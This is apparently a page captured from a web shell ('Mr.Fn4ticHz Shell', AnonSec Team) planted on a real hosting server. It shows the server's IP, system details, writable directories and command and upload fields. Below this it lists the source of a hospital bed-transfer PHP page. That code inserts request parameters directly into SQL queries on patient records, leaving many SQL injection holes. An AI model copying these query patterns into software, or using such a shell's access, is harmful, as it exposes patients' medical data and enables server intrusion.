Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.218.31.165
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/transferbed.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include 'dashboarddocument.php';
include 'header.php';
include("dbconnection.php");
$DisplayForm=True;
$today = date('Y-m-d');
 $narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql1 ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rh1 = mysqli_fetch_array($qsql1))
		{
		$sql ="SELECT * FROM discharge WHERE hospital_id='$rh1[entered_by]' AND patientid='$_GET[patientid]' AND date(admissiondate) = '$today' AND typevisit='Opd_Emergency' AND prescriptionid='$_GET[prescriptionid]' OR hospital_id='$rh1[entered_by]' AND patientid='$_GET[patientid]' AND date(admissiondate) = '$today' AND typevisit='OPD' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='opdtransfer.php?prescriptionid=$rh[prescriptionid]&patientid=$rh[patientid]'</script>";
}
}
if($DisplayForm)
{
?>


<?php
//Code for Registration 
if(isset($_POST['signup'])) 
{ 
    	$updated_at=date("F d, Y / h:i:s A");
    	date_default_timezone_set('Asia/Kolkata');
        $datetime= date("Y-m-d H:i:s"); // time in India
    	
$sql ="UPDATE request_for_admission SET Ward='$_POST[Ward]',Bed='$_POST[Bed]',Type_of_Admission='$_POST[Type_of_Admission]',Reason_for_Admission='$_POST[Reason_for_Admission]',MLC='$_POST[MLC]',MLC_No='$_POST[MLC_No]',Upload_MLC_Slip='$_POST[Upload_MLC_Slip]',Trauma='$_POST[Trauma]',further='$_POST[further]',Pneumo_Haemothorax='$_POST[Pneumo_Haemothorax]',Fluids_Started='$_POST[Fluids_Started]',iv_fluids_started='$_POST[iv_fluids_started]',Full_Survey='$_POST[Full_Survey]',Perineum='$_POST[Perineum]',Back='$_POST[Back]',Pelvic_Fracture='$_POST[Pelvic_Fracture]',Internal_Bleeding='$_POST[Internal_Bleeding]',Ultrasound='$_POST[Ultrasound]',CT='$_POST[CT]',Peritoneal='$_POST[Peritoneal]',Spinal_Immobilization='$_POST[Spinal_Immobilization]',Neurovascular_Status='$_POST[Neurovascular_Status]',Hypothermic='$_POST[Hypothermic]',contraindication='$_POST[contraindication]',Nasogastric_Tube='$_POST[Nasogastric_Tube]',Chest_Drain='$_POST[Chest_Drain]',None_Indicated='$_POST[None_Indicated]',leaves_patient='$_POST[leaves_patient]',Analgesics='$_POST[Analgesics]',Antibiotics='$_POST[Antibiotics]',None_Indicated2='$_POST[None_Indicated2]',tests_imaging='$_POST[tests_imaging]',Examinations='$_POST[Examinations]',Abdominal='$_POST[Abdominal]',vascular='$_POST[vascular]',care_discussed='$_POST[care_discussed]',Receiving_Unit='$_POST[Receiving_Unit]',Primary_team='$_POST[Primary_team]',Other_Specialists='$_POST[Other_Specialists]',Trauma_Chart='$_POST[Trauma_Chart]',Trauma_Slip='$_POST[Trauma_Slip]',Safe_childbirth_checklist='$_POST[Safe_childbirth_checklist]',mother_need_referral='$_POST[mother_need_referral]',Partograph_started='$_POST[Partograph_started]',start_Antibiotics='$_POST[start_Antibiotics]',antihypertensive_treatment='$_POST[antihypertensive_treatment]',vaginal_exam='$_POST[vaginal_exam]',present_at_birth='$_POST[present_at_birth]',labour_needed='$_POST[labour_needed]',Information_Obtained_from='$_POST[Information_Obtained_from]',General_Consent_Signed='$_POST[General_Consent_Signed]',Upload_Consent='$_POST[Upload_Consent]',ID_Band_tied='$_POST[ID_Band_tied]',Rights_Responsibilities='$_POST[Rights_Responsibilities]',surroundings_safety='$_POST[surroundings_safety]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
$sql1 ="UPDATE save_activity SET updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND userno='$_GET[patientid]' AND discription='Intial Assessment<br>Request for Consultation<br>Doc.no-'";
	$sql2 ="UPDATE bedindex SET status='Active',prescriptionid=''  WHERE  prescriptionid='$_GET[prescriptionid]'";
		$sql3 ="UPDATE bedindex SET status='Inactive',prescriptionid='$_GET[prescriptionid]'  WHERE  bedid='$_POST[Bed]'";
	//	$sql4 ="UPDATE transferbed SET Discharge='$datetime'  WHERE towords='$_POST[Bed]' AND prescriptionid='$_GET[prescriptionid]'";
		PatientManager::transferbedpatient("$_GET[prescriptionid]","$_POST[Bed]","$datetime","");
if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1)){
		    	    if($qsql = mysqli_query($con,$sql2))
		    	    	    if($qsql = mysqli_query($con,$sql3)){
		    	    	    // if($qsql = mysqli_query($con,$sql4)){
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }
		    
		}
    
//}
else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>

 <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}

        input.largerCheckbox {
            width: 20px;
            height: 20px;
        }
 
</style>
 <div class='content-wrapper'>
 <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Date & Time</strong></th>
          <th><strong>Towards </strong></th>
          <th><strong>Duration </strong></th>
       <th><strong>    <section class="content-header">Action</section> </strong></th>             
        </tr>
     
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
if($rs = mysqli_fetch_array($qsql))
{
	$sqlpatient = "SELECT * FROM transferbed WHERE prescriptionid='$rs[prescriptionid]' ORDER BY srno ASC";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	while($rsp = mysqli_fetch_array($qsqlpatient))
	{
	$sqlpatient1 = "SELECT * FROM bedindex WHERE bedid='$rsp[towords]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	$sqlpatient12 = "SELECT * FROM ward WHERE wardid='$rsn[wardid]'";
	$qsqlpatient12 = mysqli_query($con,$sqlpatient12);
	while($rsn12 = mysqli_fetch_array($qsqlpatient12))
	{
    // $sqlPatientDay="SELECT prescriptionid ,DATEDIFF('$rsp[Discharge]','$rsp[datetime]') AS BedDays FROM transferbed Where prescriptionid='$rs[prescriptionid]'  GROUP BY prescriptionid";
     $sqlBedDetailCharge = "SELECT * FROM BedDetailCharge WHERE prescriptionid='$rs[prescriptionid]' AND patientid='$_GET[patientid]' AND ward='$rsn[wardid]'";
	$qsqlBedDetailCharge = mysqli_query($con,$sqlBedDetailCharge);
	$rBedDetailCharge = mysqli_fetch_array($qsqlBedDetailCharge);
            echo " <tbody>
            <tr>   <td>&nbsp;$rsp[datetime]</td>
              		<td>&nbsp;$rsn12[ward_type]-$rsn12[ward_name]-$rsn[bedname] <br></td>
              		<td>";
              		?><?php 
              		if($rBedDetailCharge[duration]==''){
              	    echo "1 Day
              	    
   
              	    ";
              	    
              	}else{
              	    
              	    echo $rBedDetailCharge[duration].' Day' ;
              	    
              	}
              	
              		?>
              	<?php	echo"</td>
              						<td><section class='content-header'> <a href='#'>Remove</a></section></td>
          </tr>                   
          
          ";
}
}
}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
    <form name="signup" enctype="multipart/form-data" method="post" >
  


		   
		    
    <!-- Content Header (Page header) -->
   
 <table id="example2" class="table table-bordered table-hover">
<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
if(IPD==$rs[typevisit])
{
?> 
<tr>
<td width='50%'> Ward </td><td><select onchange="loadbedva(this.value)" name="Ward">
         
           <?php
           $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
      include("dbconnection.php");
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		 $sql21 ="SELECT * FROM ward WHERE wardid='$rs[Ward]'  AND  (ward_department='2' OR ward_department='1')";
$qsql21 = mysqli_query($con,$sql21);
if($rs11 = mysqli_fetch_array($qsql21))
{
    	 $sql22 ="SELECT * FROM bedindex WHERE bedid='$rs[Bed]'";
$qsql22 = mysqli_query($con,$sql22);
while($rs12 = mysqli_fetch_array($qsql22))
{
echo"<option value='$rs11[wardid]'> $rs11[ward_type] - $rs11[ward_name]</option>";
$sql1 ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rh1 = mysqli_fetch_array($qsql1))
		{
		    $sql2 ="SELECT * FROM ward WHERE adminid='$rh1[entered_by]' AND   (ward_department='2' OR ward_department='1')";
		$qsql2 = mysqli_query($con,$sql2);
		while($rh2 = mysqli_fetch_array($qsql2))
		{
		    echo "<option value='$rh2[wardid]'> $rh2[ward_type] -  $rh2[ward_name]</option>";
}
				}
}
}
}
		  ?>
		  </select></td></tr>
		  
           <?php
           $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
      include("dbconnection.php");
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    
 
    
		 $sql21 ="SELECT * FROM ward WHERE wardid='$rs[Ward]'";
$qsql21 = mysqli_query($con,$sql21);
if($rs11 = mysqli_fetch_array($qsql21))
{
    
    	 $sql22 ="SELECT * FROM bedindex WHERE bedid='$rs[Bed]'";
$qsql22 = mysqli_query($con,$sql22);
while($rs12 = mysqli_fetch_array($qsql22))
{
   
    echo"
<tr id='pavnid'>
      <td width='50%'>Bed</td>  
    <td width='50%'>
          <input type='text' placeholder='Bed No.' value='$rs12[bedname]' name='Bed'>
          <br>
        
          
          </td>
          </tr>
          ";
}
}
}
?>
            <?php
}
		    
		}
?>


				</table>
		<button type="submit" name="signup"><span style="color:WHITE">Update</SPAN></button>

<script>
 function  loadbedva(bedid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("pavnid").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadbed.php?bedid="+bedid,true);
        xmlhttp.send();
}

</script>
      
      <?php
}
      ?>
    

Anon7 - 2022
AnonSec Team